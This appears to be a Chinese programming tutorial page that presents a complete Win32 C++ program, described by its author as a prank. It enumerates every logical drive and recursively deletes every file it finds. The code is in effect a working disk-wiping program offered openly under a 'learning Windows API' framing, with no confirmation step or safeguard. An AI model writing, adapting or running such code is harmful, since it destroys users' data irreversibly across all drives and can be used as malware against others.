C 语言

关注公众号 jb51net

关闭
首页 > 软件编程 > C 语言 > 基于Windows API实现遍历所有文件并删除

基于Windows API实现遍历所有文件并删除的方法

作者:司青

这篇文章主要介绍了基于Windows API实现遍历所有文件并删除的方法,是win32应用程序的一个比较典型的文件操作应用技巧,需要的朋友可以参考下

本文实例讲述了基于Windows API实现遍历所有文件并删除的方法。分享给大家供大家参考。具体分析如下:

最近一直在学windows API,弄了一些好玩的东西(有点恶作剧了,请大家谨慎使用)...
下面是我现学现卖写的一个删除硬盘上所有文件的小程序 ....

#include <windows.h>
#include <stdio.h>
#include <bitset>
using namespace std;
void DelFile(char *cFilePath)
{
 WIN32_FIND_DATA data;
 HANDLE hFind;
 char cFullPath[100];
 char cNewPath[100];
 sprintf_s(cFullPath,"%s\\*.*",cFilePath);
 hFind=FindFirstFile(cFullPath,&data);
 do
 {
 if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))
 {
  continue;
 }
 if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
 {
  sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);
  DelFile(cNewPath);//递归
 }
// MessageBox(NULL,data.cFileName,"Look",0);
 sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);
 DeleteFile(cFullPath);
 }while(FindNextFile(hFind,&data));
}
int WINAPI WinMain(
 HINSTANCE hInstance,   // handle to current instance
 HINSTANCE hPrevInstance, // handle to previous instance
 LPSTR lpCmdLine,     // command line
 int nCmdShow       // show state
)
{
 DWORD dwDrive=GetLogicalDrives();
 bitset<32> bit(dwDrive);
 char Path[3]={'a',':','\0'};
 for(int ix=0;ix!=32;ix++)
 {
 if(bit.test(ix))
 {
  Path[0]='A'+ix;
  DelFile(Path);
 }
 }
 return 0;
}

希望本文所述对大家的win32程序设计有所帮助。

您可能感兴趣的文章:
阅读全文